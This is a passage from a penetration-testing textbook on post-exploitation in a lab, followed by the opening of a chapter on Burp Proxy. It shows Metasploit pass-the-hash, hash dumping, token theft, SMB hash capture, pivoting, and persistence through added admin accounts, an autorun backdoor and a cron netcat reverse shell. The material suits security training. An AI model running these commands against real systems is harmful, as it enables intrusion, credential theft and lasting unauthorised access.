msf exploit(psexec) > show options
Module options (exploit/windows/smb/psexec):
296 Chapter 13
Name
---RHOST
RPORT
SHARE
Current Setting
---------------
SMBDomain
SMBPass
SMBUser
WORKGROUP
445
ADMIN$
Required
-------yes
yes
yes
no
no
no
Description
----------The target address
Set the SMB service port
The share to connect to, can be an admin share
(ADMIN$,C$,...) or a normal read/write folder share
The Windows domain to use for authentication
The password for the specified username
The username to authenticate as
msf exploit(psexec) > set RHOST 192.168.20.10
RHOST => 10.0.1.13
msf exploit(psexec) > set SMBUser georgiau
SMBUser => georgia
msf exploit(psexec) > set SMBPass passwordv
SMBPass => password
msf exploit(psexec) > exploit
[*] Started reverse handler on 192.168.20.9:4444
[*] Connecting to the server...
[*] Authenticating to 192.168.20.10:445|WORKGROUP as user 'georgia'...
[*] Uploading payload...
[*] Created \KoMknErc.exe...
--snip-[*] Meterpreter session 6 opened (192.168.20.9:4444 -> 192.168.20.10:1173) at 2015-08-14
14:13:40 -0400
Listing 13-21: Using the PSExec module
In addition to RHOST, we need to tell the module which SMBDomain,
SMBUser, and SMBPass to use. Our Windows XP target is not a member of a domain, so we can leave the SMBDomain option at the default,
WORKGROUP.
Set SMBUser to georgia u and SMBPass to password v, our discovered
credentials. Then run the exploit module. The module embeds the chosen
payload (in this case, the default windows/meterpreter/reverse_tcp) into a
Windows service image executable. After uploading the executable and contacting Windows Service Control Manager, the service copies the shellcode
into executable memory for the service process and redirects execution to
the payload. Thus our payload runs and connects back to our Metasploit
listener on Kali. Even though we logged on as the user georgia, because our
payload is running as a system service, our session automatically has system
privileges.
Note
This is why we made the change to the Windows XP Security Policy in Chapter 1. If
Windows XP were a member of a domain, we could fill in the SMBDomain option
and use PSExec to get System access on any system where the domain user was a local
administrator. This is a great way to move around a network looking for interesting
information, additional password hashes, and more vulnerabilities.
Post Exploitation
297
Pass the Hash
Our previous attack relied on our ability to reverse the password hash and
gain access to the plaintext password for a user account. Of course, in the
case of our Windows XP target, this is trivial because it uses the entirely
crackable LM hashing algorithm.
In Chapter 9, we learned that when we have only the NTLM user
authentication hash of a password, instead of the weaker LM version, our
ability to reverse the hash in a reasonable amount of time depends on the
weakness of the password, the strength of our wordlist, and even the algorithms employed by the password-cracking program. If we can’t reverse the
password hash, we’re going to have a tough time logging in to other systems
with the plaintext credentials.
PSExec comes to the rescue again. When a user logs in over SMB, his or
her password is not sent to the target in plaintext. Instead, the target system
issues a challenge that can be answered only by someone with the correct
password. In this case, the answer to the challenge is the LM- or NTLMhashed password, depending on the implementation.
When you log in to a remote system, your Windows application calls
a utility to hash the password, and that hash is sent to the remote system
for authentication. The remote system assumes that if you send the correct
hash, you must have access to the correct plaintext password—that is, after
all, one of the fundamentals of one-way hash functions. Can you think of a
scenario where you might have access to password hashes but not the plaintext passwords?
In Chapter 9, we were able to reverse all password hashes on our target
systems. Additionally, on our Windows XP target, we were able to reverse
the LM hashes regardless of the strength of the password. But let’s simulate a situation where we have only password hashes, as shown with the
Meterpreter hashdump command in Listing 13-22.
meterpreter > hashdump
Administrator:500:e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c:::
georgia:1003:e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
HelpAssistant:1000:93880b42019f250cd197b67718ac9a3d:86da9cefbdedaf62b66d9b2fe8816c1f:::
secret:1004:e52cac67419a9a22e1c7c53891cb0efa:9bff06fe611486579fb74037890fda96:::
SUPPORT_388945a0:1002:aad3b435b51404eeaad3b435b51404ee:6f552ba8b5c6198ba826d459344ceb14:::
Listing 13-22: Using hashdump
Note
298 Chapter 13
When using the hashdump Meterpreter command against newer Windows operating
systems, you may find that it fails. An alternative is the post module: post/windows/
gather/hashdump. There is even post/windows/gather/smart_hashdump,
which can not only gather local hashes but also active directory hashes if you have
exploited a domain controller. So if at first you don’t succeed in dumping password
hashes on a pentest, explore additional options.
Let’s use the Metasploit PSExec module to take advantage of how SMB
authenticates and a technique called Pass the Hash. Instead of setting the
SMBPass option to georgia’s password, copy in the LM and NTLM hashes for
georgia from the hashdump in Listing 13-23 as the SMBPass option.
msf exploit(psexec) > set SMBPass e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c
SMBPass => e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c
msf exploit(psexec) > exploit
--snip-[*] Meterpreter session 7 opened (192.168.20.9:4444 -> 192.168.20.10:1233) at 2015-08-14 14:17:47
-0400
Listing 13-23: PSExec Pass the Hash
Again we’re able to use PSExec to get a Meterpreter session. Even
without knowing the plaintext password, the password hash alone can be
enough to get access to other systems in the environment using PSExec.
SSHExec
Like PSExec for Windows, we can use SSHExec to move through an environment’s Linux systems if we have even one set of valid credentials, which
are likely to work elsewhere in the environment. The Metasploit module
multi/ssh/sshexec and its options are shown in Listing 13-24.
msf > use exploit/multi/ssh/sshexec
msf exploit(sshexec) > show options
Module options (exploit/multi/ssh/sshexec):
Name
Current Setting Required Description
------------------ -------- ----------PASSWORD
yes
The password to authenticate with.
RHOST
yes
The target address
RPORT
22
yes
The target port
USERNAME root
yes
The user to authenticate as.
--snip-msf exploit(sshexec) > set RHOST 192.168.20.11
RHOST => 192.168.20.11
msf exploit(sshexec) > set USERNAME georgiau
USERNAME => georgia
msf exploit(sshexec) > set PASSWORD passwordv
PASSWORD => password
msf exploit(sshexec) > show payloads
--snip-linux/x86/meterpreter/reverse_tcp
normal Linux Meterpreter, Reverse TCP
Stager
--snip-msf exploit(sshexec) > set payload linux/x86/meterpreter/reverse_tcp
payload => linux/x86/meterpreter/reverse_tcp
msf exploit(sshexec) > set LHOST 192.168.20.9
LHOST => 192.168.20.9
msf exploit(sshexec) > exploit
Post Exploitation
299
[*] Started reverse handler on 192.168.20.9:4444
--snip-[*] Meterpreter session 10 opened (192.168.20.9:4444 -> 192.168.20.11:36154)
at 2015-03-25 13:43:26 -0400
meterpreter > getuid
Server username: uid=1000, gid=1000, euid=1000, egid=1000, suid=1000,
sgid=1000
meterpreter > shell
Process 21880 created.
Channel 1 created.
whoami
georgia
Listing 13-24: Using SSHExec
In this example, we know the credentials georgia:password from having
cracked them in Chapter 9. Although in this case we will just be logging into
the same host again (similar to what we did in “PSExec” on page 296), we
could use this same technique on other hosts in that same environment
that have an account for georgia.
As with PSExec, we need valid credentials in order to authenticate. We
set the USERNAME to georgia u and PASSWORD to password v, and then choose
linux/x86/meterpreter/reverse_tcp as the payload.
Unlike with PSExec (which uploaded a binary and ran it as a System
service, automatically giving us System privileges), with SSHExec we are
still user georgia. You can see how this exploit could prove to be a quick way
to move around an environment in search of additional information and
vulnerabilities on other Linux systems.
Token Impersonation
Now that we know we might not even need plaintext passwords to gain
access to other systems, is there any case where we may not even need the
password hashes?
One interesting Windows security construct is the concept of tokens.
Tokens are primarily used for access control. Based on the token of a process, the operating system can make decisions about which resources and
operations should be made available to it.
Think of a token as a kind of temporary key that gives you access to
certain resources without having to enter your password every time you
want to perform a privileged operation. When a user logs in to the system
interactively, such as directly through the console or from a remote desktop,
a delegation token is created.
Delegation tokens allow the process to impersonate the token on the
local system as well as on the network, for example on other systems in a
domain. Delegation tokens contain credentials and can be used to authenticate with other systems that use these credentials, such as the domain
controller. Tokens persist until reboot, and even if a user logs out, his or her
300 Chapter 13
token will still be present on the system until it shuts down. If we can steal
another token on the system, we can potentially gain additional privileges
and even access to additional systems.
Incognito
We’re on a compromised system: our Windows XP target. Which tokens are
on the system, and how do we steal them? Incognito was originally a standalone tool developed by security researchers conducting research into using
token stealing for privilege escalation, but it has since been added as an
extension to Meterpreter. Incognito will help us enumerate and steal all the
tokens on a system.
Incognito is not loaded into Meterpreter by default, but we can add it
with the load command, as shown here. Use one of your Meterpreter sessions
currently running as system, or use privilege escalation to elevate your access.
(System has access to all tokens on the target.)
meterpreter > load incognito
Loading extension incognito...success.
Before we use Incognito, switch users on your Windows XP target and
log in as secret with the password Password123. This login will create a delegation token on the target for us to impersonate. As we list tokens, Incognito
searches all handles on the system to determine which ones belong to tokens
using low-level Windows API calls. To see all the user tokens available with
the Meterpreter Incognito, enter the command list_tokens -u as shown in
Listing 13-25.
meterpreter > list_tokens -u
Delegation Tokens Available
========================================
BOOKXP\georgia
BOOKXP\secret
NT AUTHORITY\LOCAL SERVICE
NT AUTHORITY\NETWORK SERVICE
NT AUTHORITY\SYSTEM
Listing 13-25: Enumerating tokens with Incognito
We see tokens for both georgia and secret. Let’s try stealing secret’s
delegation token, effectively gaining the privileges of this user. Use the
impersonate_token command to steal the token, as shown in Listing 13-26.
(Note that we use two backslashes to escape the backslash between the
domain—in this case, the local machine name—and the username.)
meterpreter > impersonate_token BOOKXP\\secret
[+] Delegation token available
[+] Successfully impersonated user BOOKXP\secret
Post Exploitation
301
meterpreter > getuid
Server username: BOOKXP\secret
Listing 13-26: Stealing a token with Incognito
Having stolen secret’s token, if we run getuid we should see that we are
effectively now the user secret. This can be especially interesting when in a
domain: If secret is a domain administrator, we are now a domain administrator as well, and we can do things like create a new domain administrator
account or change the domain administrator’s password. (We’ll look at how
to add accounts from the command line in “Persistence” on page 309.)
SMB Capture
Let’s look at one more interesting consequence of token stealing. In a
domain, password hashes for domain users are stored only on the domain
controller, which means that running a hashdump on an exploited system
will give us password hashes only for local users. We don’t have a domain
set up, so secret’s password hash is stored locally, but imagine that secret is
instead a domain user. Let’s look at a way of capturing the password hashes
without gaining access to the domain controller by passing the hash to an
SMB server we control and recording the results.
Open a second instance of Msfconsole, and use the module auxiliary/
server/capture/smb to set up an SMB server and capture any authentication
attempts. Like the client-side attack modules we studied in Chapter 10, this
module does not directly attack another system; it just sets up a server and
waits. Set up the module options as shown in Listing 13-27.
msf > use auxiliary/server/capture/smb
msf auxiliary(smb) > show options
Module options (auxiliary/server/capture/smb):
Name
Current Setting
Required Description
------------------------- ----------CAINPWFILE
no
The local filename to store the hashes in
format
CHALLENGE
1122334455667788 yes
The 8 byte challenge
JOHNPWFILE
no
The prefix to the local filename to store
in JOHN format
SRVHOST
0.0.0.0
yes
The local host to listen on. This must be
on the local machine or 0.0.0.0
SRVPORT
445
yes
The local port to listen on.
SSL
false
no
Negotiate SSL for incoming connections
SSLCert
no
Path to a custom SSL certificate (default
randomly generated)
SSLVersion SSL3
no
Specify the version of SSL that should be
(accepted: SSL2, SSL3, TLS1)
msf auxiliary(smb) > set JOHNPWFILE /root/johnfileu
JOHNPWFILE => johnfile
msf auxiliary(smb) > exploit
Listing 13-27: Using the SMB capture module
302 Chapter 13
Cain&Abel
the hashes
an address
is
used
You can save the results to a CAINPWFILE or a JOHNPWFILE, which
will save the captured hashes in the formats expected by the Cain and
Abel password tool for Windows and John the Ripper, respectively. Let’s
set it to JOHNPWFILE u because we learned how to use John in Chapter 9.
Now return to your Meterpreter session where you impersonated secret’s
token in the previous section, and drop to a shell, as shown next. Because
we’ve stolen secret’s token, this shell should be running as secret. Knowing
that delegation tokens include credentials to authenticate with other systems, we’ll use the net use Windows command to attempt to authenticate
with our fake SMB capture server.
Connect to any share you like on the Kali SMB server. The login will
fail, but the damage will be done.
meterpreter > shell
C:\Documents and Settings\secret>net use \\192.168.20.9\blah
Returning to your SMB Capture Msfconsole window, you should see
that you’ve captured a set of password hashes.
[*] SMB Captured - 2015-08-14 15:11:16 -0400
NTLMv1 Response Captured from 192.168.20.10:1078 – 192.168.20.10
USER:secret DOMAIN:BOOKXP OS:Windows 2002 Service Pack 3 2600 LM:Windows 2002 5.1
LMHASH:76365e2d142b5612338deca26aaee2a5d6f3460500532424
NTHASH:f2148557db0456441e57ce35d83bd0a27fb71fc8913aa21c
Note
This exercise can be a bit flaky, particularly without a Windows domain present. You
might have trouble capturing the hash and instead get something like this:
[*] SMB Capture - Empty hash captured from 192.168.20.10:1050 - 192.168.20.10
captured, ignoring ...
This is a common issue. Just try to understand the concepts so you can try them in
client environments where Windows domains are deployed.
The results are saved in the proper format in the JOHNPWFILE
Metasploit module option for auxiliary/server/capture/smb. For example,
since we set our JOHNPWFILE as /root/johnfile, the file to feed into John is
/root/johnfile_netntlm. When you compare the hashes to those dumped with
hashdump in Listing 13-22, you’ll see that the hashes for secret differ. What’s
going on? As it turns out, these hashes are for NETLM and NETNTLM,
which are a bit different than the regular LM and NTLM Windows hashes
we worked with in Chapter 9. And when you look at the JOHNPWFILE, you’ll
see that its format is a bit different from what we’ve seen previously with
John the Ripper.
secret::BOOKXP:76365e2d142b5612338deca26aaee2a5d6f3460500532424:f2148557db0456
441e57ce35d83bd0a27fb71fc8913aa21c:1122334455667788
Post Exploitation
303
In particular, the hash entry has taken note of the CHALLENGE option set
in Metasploit. Though the user secret has a local hash on our Windows XP
target that would save us the trouble of cracking NETLM and NETNTLM
hashes, this is a useful trick for grabbing password hashes when working
with domain user accounts, which store their password hashes only on the
domain controllers.
Pivoting
Now let’s see if we can use access to a system to gain access to another network entirely. Typically an organization has only a few Internet-facing systems—hosting services that need to be made available to the Internet such
as web servers, email, VPNs, and so on. These services may be hosted by a
provider such as Google or GoDaddy, or they may be hosted in house. If
they are hosted in house, gaining access to them from the Internet may give
you access to the internal network. Ideally their internal network will be segmented by business unit, level of sensitivity, and so on, such that access to one
machine does not give direct network access to all machines in the enterprise.
Note
Internet-facing systems may be dual homed, or a member of multiple networks, namely
the Internet and an internal network. A security best practice is to keep dual-homed
systems segregated from sensitive internal network resources in a demilitarized zone,
but I have performed penetration tests for clients who have Internet-facing systems as
part of their internal domain. All I had to do was exploit their web application, which
had a default password for the administrative account, and upload a PHP shell as we
did to XAMPP in Chapter 8, and suddenly I had access to a system on their internal
domain. Hopefully, most of your clients will require a few more steps between piercing
the perimeter and domain access.
When we set up our Windows 7 target in Chapter 1, we gave it two virtual
network adapters. We connected one to the bridged network where it could
talk to the other targets and our Kali virtual machine. The other virtual
adapter is connected to the host-only network. For this exercise, switch the
Windows XP target to the host-only network so it is no longer accessible by
the Kali system. (For more information on changing virtual network settings,
see “Creating the Windows 7 Target” on page 48.)
Though this is a Windows system, Meterpreter allows us to use the
ifconfig command to see networking information. As shown in Listing 13-28,
the Windows 7 target is part of two networks: the 192.168.20.0/24 network,
which also includes our Kali system, and the 172.16.85.0/24 network, which
our Kali system does not have access to.
meterpreter > ifconfig
Interface 11
============
Name
: Intel(R) PRO/1000 MT Network Connection
Hardware MAC : 00:0c:29:62:d5:c8
MTU
: 1500
IPv4 Address : 192.168.20.12
304 Chapter 13
IPv4 Netmask
Interface 23
============
Name
Hardware MAC
MTU
IPv4 Address
IPv4 Netmask
: 255.255.255.0
:
:
:
:
:
Intel(R) PRO/1000 MT Network Connection #2
00:0c:29:62:d5:d2
1500
172.16.85.191
255.255.255.0
Listing 13-28: Dual-homed system networking information
We can’t attack any systems in the 172.16.85.0 network directly from
Kali. However, because we have access to the Windows 7 target, we can use
it as a jumping-off point, or pivot, to further explore this second network, as
shown in Figure 13-3.
Kali
192.168.20.9
Windows 7
192.168.20.12
172.16.85.191
Windows XP
172.16.85.190
Figure 13-3: Pivoting through an exploited system
At this point we could start uploading our hack tools to the Windows 7
target to begin the penetration test on the 172.16.85.0 network, but that
attempt would likely be caught by antivirus software, and we’d have to clean
up the mess left behind. Metasploit gives us another option: We can route
all of the traffic for our target network through an open Metasploit session.
Adding a Route in Metasploit
The route command in Metasploit tells Metasploit where to route traffic.
Instead of routing traffic to an IP address, we send traffic destined for a network through a specific open session. In this case, we want to send all traffic headed to the 172.16.85.0 network through the Windows 7 session. The
syntax for the route command in Metasploit is route add network <subnet mask>
<session id>.
msf > route add 172.16.85.0 255.255.255.0 2
Post Exploitation
305
Now any traffic we send from Metasploit to the 172.16.85.0 network will
automatically be routed through the Windows 7 session (session 2 in my
case). We can set options such as RHOST or RHOSTS to systems in this network,
and Metasploit will get traffic to the right place.
Metasploit Port Scanners
One of the first things we did when information gathering in Chapter 5 was
to port scan our targets with Nmap. We won’t be able to use external tools
with our Metasploit route, but luckily Metasploit has some port-scanning
modules we can use instead, like the scanner/portscan/tcp module, which will
perform a simple TCP port scan, as shown in Listing 13-29.
msf > use scanner/portscan/tcp
msf auxiliary(tcp) > show options
Module options (auxiliary/scanner/portscan/tcp):
Name
Current Setting
-----------------CONCURRENCY 10
PORTS
u1-10000
RHOSTS
THREADS
1
TIMEOUT
1000
msf auxiliary(tcp) > set RHOSTS
rhosts => 172.16.85.190
msf auxiliary(tcp) > exploit
[*] 172.16.85.190:25 - TCP OPEN
[*] 172.16.85.190:80 - TCP OPEN
[*] 172.16.85.190:139 - TCP OPEN
[*] 172.16.85.190:135 - TCP OPEN
[*] 172.16.85.190:180 - TCP OPEN
--snip--
Required Description
-------- ----------yes
The number of concurrent ports to check per host
yes
Ports to scan (e.g. 22-25,80,110-900)
yes
The target address range or CIDR identifier
yes
The number of concurrent threads
yes
The socket connect timeout in milliseconds
172.16.85.190
Listing 13-29: Port scanning with Metasploit
Set the RHOSTS option as usual for auxiliary modules. By default Metasploit
scans port 1-10000 u, though you can change this option if you wish.
Though Metasploit’s port scanners are not as powerful as Nmap’s, we
can at least see that the SMB port is open. From here we might run the
auxiliary/scanner/smb/smb_version module followed by the check function with
the windows/smb/ms08_067_netapi module to lead us toward exploiting the
Windows XP target with the MS08-067 exploit through a pivot.
Running an Exploit through a Pivot
Because our Windows XP and Kali systems are on different networks, a
reverse payload won’t work for our exploit because the Windows XP target
won’t know how to route traffic back to 192.168.20.9. (Of course, if our Kali
system was on the Internet and the internal network we are attacking could
route to the Internet, that would not be the case. However, here our hostonly network does not know how to route to our bridged network.) Instead,
306 Chapter 13
we’ll use a bind payload. Metasploit’s bind handler will have no trouble routing through the pivot we set up. The windows/meterpreter/bind_tcp payload
will work as shown in Listing 13-30.
msf exploit(handler) > use windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi) > set RHOST 172.16.85.190
RHOST => 172.16.85.190
msf exploit(ms08_067_netapi) > set payload windows/meterpreter/bind_tcp
payload => windows/meterpreter/bind_tcp
msf exploit(ms08_067_netapi) > exploit
Listing 13-30: Exploiting through a pivot
We’ve gotten another session, this time through a pivot.
Socks4a and ProxyChains
Pivoting through Metasploit is all well and good, but we’re limited to using
Metasploit modules. Perhaps there is a way to proxy other tools through
Metasploit’s pivot? In fact there is: using the ProxyChains tool (which
redirects traffic to proxy servers) to send our traffic from other Kali tools
through Metasploit.
But first we need to set up a proxy server in Metasploit. Like the SMB
server module we used to capture NETLM and NETNTLM hashes earlier in this chapter, Metasploit also has a Socks4a proxy server module
(auxiliary/server/socks4a). Listing 13-31 shows how to set up the proxy
server.
msf > use auxiliary/server/socks4a
msf auxiliary(socks4a) > show options
Module options (auxiliary/server/socks4a):
Name
---SRVHOST
SRVPORT
Current Setting
--------------0.0.0.0
1080
Required
-------yes
yes
Description
----------The address to listen on
The port to listen on.
msf auxiliary(socks4a) > exploit
[*] Auxiliary module execution completed
[*] Starting the socks4a proxy server
Listing 13-31: Setting up a Socks4a proxy server in Metasploit
Leave the options as the defaults, but note that the server will be listening on port 1080.
Now we need to edit the configuration file for ProxyChains at /etc/
proxychains.conf. Scroll down to the bottom of the file in an editor, and you
should see that by default, ProxyChains is set to route traffic to the Tor network as shown here.
Post Exploitation
307
# add proxy here ...
# defaults set to “tor”
socks4 127.0.0.1 9050
We need to change the proxy value to Metasploit’s listening server.
Replace port 9050 (for Tor) with 1080 (for Metasploit). The line should
now read:
socks4
127.0.0.1 1080
Save the configuration file for ProxyChains. Now we can run tools like
Nmap from outside Metasploit against our Windows XP target, as long as we
preface them with proxychains as shown in Listing 13-32. (The Metasploit
route must still be active because ProxyChains simply redirects the traffic
to Metasploit, which will forward the traffic through the pivot.)
[email protected]:~# proxychains nmap -Pn -sT -sV -p 445,446 172.16.85.190
ProxyChains-3.1 (http://proxychains.sf.net)
Starting Nmap 6.40 ( http://nmap.org ) at 2015-03-25 15:00 EDT
|S-chain|-<>-127.0.0.1:1080-<><>-172.16.85.190.165:445-<><>-OKu
|S-chain|-<>-127.0.0.1:1080-<><>-172.16.85.190:446-<--deniedv
Nmap scan report for 172.16.85.190
Host is up (0.32s latency).
PORT
STATE SERVICE
VERSION
445/tcp open
microsoft-ds Microsoft Windows XP microsoft-ds
446/tcp closed ddm-rdb
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Listing 13-32: Running Nmap through ProxyChains
Listing 13-32 shows Nmap being run against the Windows XP host
through the pivot with ProxyChains. The option -Pn tells Nmap not to try
to ping through the proxy. We start with a simple TCP connect scan (-sT)
and then run a version scan (-sV). For the sake of simplicity, I’ve limited the
ports to 445 and 446 with the -p option. We see that the connection is OK on
port 445 u but denied on port 446 v. This makes sense because the SMB
server is running on port 445, but nothing is running on port 446. (If any
of this is unfamiliar, see “Port Scanning with Nmap” on page 125.)
This is just one way to run tools external to Metasploit through a pivot.
While doing so does slow things down a bit, it can be quite useful to have
access to other tools in Kali.
Note
308 Chapter 13
Not all vulnerabilities will be exploitable through a pivot. In general, it depends on
how the vulnerable protocols work. Another technique to look into is SSH tunneling.
See my blog at http://www.bulbsecurity.com/ for more information.
Persistence
A great thing about our Meterpreter sessions is also a bad thing. Because
the host process resides entirely in memory, if it dies, our Meterpreter session dies as well, and if the system restarts we lose our session. If we lose
network access to the target, our session may die as well.
Rather than re-exploiting the same vulnerability or resending socialengineering attacks, it would be ideal if we had a way to regain access in the
future. Persistence methods can be as simple as adding a user to a system or
as advanced as kernel-level rootkit that hides itself even from the Windows
API making it virtually undetectable. In this section we’ll look at a few simple
ways to gain persistence on a target system to give you a good starting point
for your pentests.
Adding a User
Perhaps the simplest way to gain persistence is to add a new user. Being able
to log in to the system directly via SSH, RDP, and so on makes it easy to access
a system in the future. (As with all other changes you make on your targets,
remember to delete any added user accounts before finishing the pentest.)
On a Windows system, use net user username password /add to add a new
user, as shown here.
C:\Documents and Settings\georgia\Desktop> net user james password /add
net user james password /add
The command completed successfully.
We should also add our new user to the relevant groups with the command net localgroup group username /add. For example, if we want to log in
via remote desktop, we should add the user to the Remote Desktop Users
group. The Administrators group is also a good group to add our user to as
shown here.
C:\Documents and Settings\georgia\Desktop> net localgroup Administrators james /add
net localgroup Administrators james /add
The command completed successfully.
If your client has a Windows domain, you can add users to the domain
and add them to domain groups (if you have sufficient privileges) by tacking on /domain at the end of a command. For example, if you are able to steal
a domain administrator’s token, you can use the following commands to
add a domain administrator account, giving you full control of the entire
domain.
C:\Documents and Settings\georgia\Desktop> net user georgia2 password /add /domain
C:\Documents and Settings\georgia\Desktop> net group "Domain Admins" georgia2 /add /domain
On the Linux target, we can use adduser to add a user account. Ideally we
should also add our new user to the sudoers group so we have root privileges.
Post Exploitation
309
Metasploit Persistence
The Meterpreter script persistence automates the creation of a Windows backdoor that will automatically connect back to a Metasploit listener at startup,
login, and so on, based on the options we use when creating it. The options
for the persistence script are shown in Listing 13-33.
meterpreter > run persistence -h
Meterpreter Script for creating a persistent backdoor on a target host.
OPTIONS:
-A
-L
-P
-S
-T
-U
-X
-h
-i
-p
-r
<opt>
<opt>
<opt>
<opt>
<opt>
<opt>
Automatically start a matching multi/handler to connect to the agent
Location in target host where to write payload to, if none %TEMP% will be used.
Payload to use, default is windows/meterpreter/reverse_tcp.
Automatically start the agent on boot as a service (with SYSTEM privileges)
Alternate executable template to use
Automatically start the agent when the User logs on
Automatically start the agent when the system boots
This help menu
The interval in seconds between each connection attempt
The port on the remote host where Metasploit is listening
The IP of the system running Metasploit listening for the connect back
Listing 13-33: Meterpreter persistence script
As you can see we have a lot of customization options for our persistent
payload. We can have the persistence agent start at boot or when the user
logs in. We can set an interval between attempts to connect to the handler.
We can change where the agent is written on the target system. We can also
specify the remote host and port for the agent to connect back to. We can
even have Metasploit automatically set up a handler to catch the incoming connection. In the process of setting up persistence, Metasploit has to
write the persistence agent to the disk, so Meterpreter is no longer completely residing in memory at this point. When the persistence agent runs at
startup (-X), a Visual Basic script is uploaded to the %TEMP% folder, and
a registry entry is added to the list of programs to run at startup. When the
persistence agent runs upon login (-U), the process is similar, but the registry entry is set to run at login. When the persistence agent runs as a service
(-S), a Windows system service is created that will call the Visual Basic script
from %TEMP%.
Let’s run the persistence script, as shown in Listing 13-34, telling the
agent to connect back to our Kali machine when the user logs in.
meterpreter > run persistence -r 192.168.20.9 -p 2345 -U
[*] Running Persistence Script
[*] Resource file for cleanup created at /root/.msf4/logs/persistence/BOOKXP_20150814.1154/
BOOKXP_20150814.1154.rc
[*] Creating Payload=windows/meterpreter/reverse_tcp LHOST=192.168.20.9 LPORT=2345
[*] Persistent agent script is 614853 bytes long
[+] Persistent Script written to C:\WINDOWS\TEMP\eTuUwezJblFHz.vbs
[*] Executing script C:\WINDOWS\TEMP\eTuUwezJblFHz.vbs
310 Chapter 13
[+] Agent executed with PID 840
[*] Installing into autorun as HKLM\Software\Microsoft\Windows\CurrentVersion\Run\BJkGfQLhXD
[+] Installed into autorun as HKLM\Software\Microsoft\Windows\CurrentVersion\Run\BJkGfQLhXD
Listing 13-34: Running the persistence script
After running the script, place the Meterpreter session in the background with the Meterpreter command background, and set up a handler
to catch the persistence agent. Now restart the Windows XP target. When
it restarts, log in as georgia, and you should receive another Meterpreter
session.
note
If it doesn’t work the first time, try restarting and logging in again.
Creating a Linux cron Job
On both Windows and Linux systems, we can automatically start tasks at
a given time. For example, we can set up a cron job to automatically run a
Metasploit payload or even just use Netcat to connect back to us.
Open /etc/crontab on your Linux target. The following line will run the
command nc 192.168.20.9 12345 -e /bin/bash every ten minutes of every hour
of every day of every month—basically every ten minutes. The command will
be run as root. Add this line to the end of the /etc/crontab file. (For help, see
“Automating Tasks with cron Jobs” on page 72.)
*/10 * * * * root nc 192.168.20.9 12345 -e /bin/bash
Now restart the cron service by entering service cron restart. Set up a
Netcat listener on port 12345 on your Kali machine, and at the next tenminute mark, the cron job should run, and you should receive a root shell at
your Netcat listener.
Summary
In this chapter we’ve covered just a few post-exploitation techniques, barely
skimming the surface of the wealth of interesting tools and techniques
available. We looked at some methods for escalating our privileges on an
exploited system. We also looked at methods of gathering local information. We studied methods of turning access to one system into access to
many, including pivoting from one network to another through an open
session. Finally, we looked at a couple of methods for making our access
permanent.
Post Exploitation
311
14
W e b App l i c a t i o n T e s t i n g
Though automated scanners are great at finding
known vulnerabilities in web applications, many clients build custom web applications. Sure, commercial
products can automate attacks against user input fields
in custom web applications, but nothing can replace a
good penetration tester with a proxy when it comes to
finding security issues in these applications.
Like all software, web applications may have issues when input is not
properly sanitized. For example, when an application pulls data from a database based on certain user input, the application may expect specific input
such as a username and password. If, instead, the user enters special input
to create additional database queries, he or she may be able to steal data
from the database, bypass authentication, or even execute commands on
the underlying system.
In this chapter we’ll look at finding some common vulnerabilities in web
applications using the example web application installed on the Windows 7
target: a simple bookstore with several security issues frequently found in web
applications. (See “Installing Additional Software” on page 52 for installation instructions.)
Using Burp Proxy
We can use a proxy to capture requests and responses between our browser
and the web application so we can see exactly what data is being transmitted.
Kali Linux comes with the free version of Burp Suite, a testing platform for
web applications that includes a proxy feature. Burp includes other useful
components, such as Burp Spider, which can crawl through web application
content and functionality, and Burp Repeater, which allows you to manipulate and resend requests to the server. For now, we’ll focus on the Burp
Proxy tab.
To start Burp Suite in Kali Linux, go to Applications at the top left
of the Kali GUI, and then click Kali LinuxWeb ApplicationsWeb
Application Fuzzersburpsuite, as shown in Figure 14-1.
Figure 14-1: Starting Burp Suite in Kali
Click the Proxy tab, as shown in Figure 14-2. By default, the Intercept
is on button should be selected so that Burp Suite intercepts and traps any
outgoing requests from a web browser configured to use Burp as a proxy
for web traffic. This setting will allow us to see and even modify the details
of web requests before they are sent to the server.
314 Chapter 14
Figure 14-2: Burp Proxy interface
Now we need to tell our browser in Kali Linux to proxy web traffic
through Burp Suite.
1. Open the Iceweasel browser, go to Edit4Preferences4Advanced, and
select the Network tab.
2. Click Settings to the right of Connection.
3. In the Connection Settings dialog, shown in Figure 14-3, select Manual
proxy configuration, and enter the IP address 127.0.0.1 and port 8080.
This tells Iceweasel to proxy traffic through the localhost on port 8080,
the default port for Burp Proxy.
Figure 14-3: Setting a proxy in Iceweasel
Web Application Testing
315
To ensure that Iceweasel will proxy all our traffic through Burp Suite,
browse to the URL bookservice on your Windows 7 target: http://192.168.20.12/
bookservice.
The connection should appear to hang in the browser, and the
browser and Burp Suite should light up as the HTTP GET request for the
main page of the bookservice site is captured by Burp Proxy, as shown in
Figure 14-4.
Figure 14-4: Captured HTTP GET request
We can see the details of the HTTP GET request asking the server for the
bookservice web page.
As we will see later, we can make changes to the request before sending
it on to the server, but for now, let’s just go ahead and forward the request
(and any subsequent ones) by clicking the Forward button. Returning to
the browser, we see the server has sent us the main page of the bookservice
site, as shown in Figure 14-5.
316 Chapter 14
Figure 14-5: Bookservice site
Next let’s try signing up for an account (Figure 14-6). Click Login at
the top left of the page, and then forward the request to the server from the
proxy. Do the same to get to the Sign Up page by clicking New User and
forwarding the request to the server.
Figure 14-6: Signing up for a new account
Enter a username, password, and email address, then submit the request
by clicking Go. The request should be captured in Burp Proxy, as shown in
Figure 14-7.
Web Application Testing
317
Figure 14-7: Captured request
In addition to looking at the raw request, which is a bit unfriendly to
read, you can click the Params tab at the top of the request window in Burp
Suite to display the request parameters in a more readable format, as shown
in Figure 14-8.
Figure 14-8: Request parameters
318 Chapter 14
For example, the new display shows the User field georgia, Pass field
password, and Email field [email protected]
You can change these fields directly in the proxy. For example, if you
change georgia’s password to password1 before forwarding the request to the
server, the server will set the password for user georgia to password1, because
the server never saw the original request from the browser requesting the
password password.
The proxy allows you to see the details of any request to the server. If
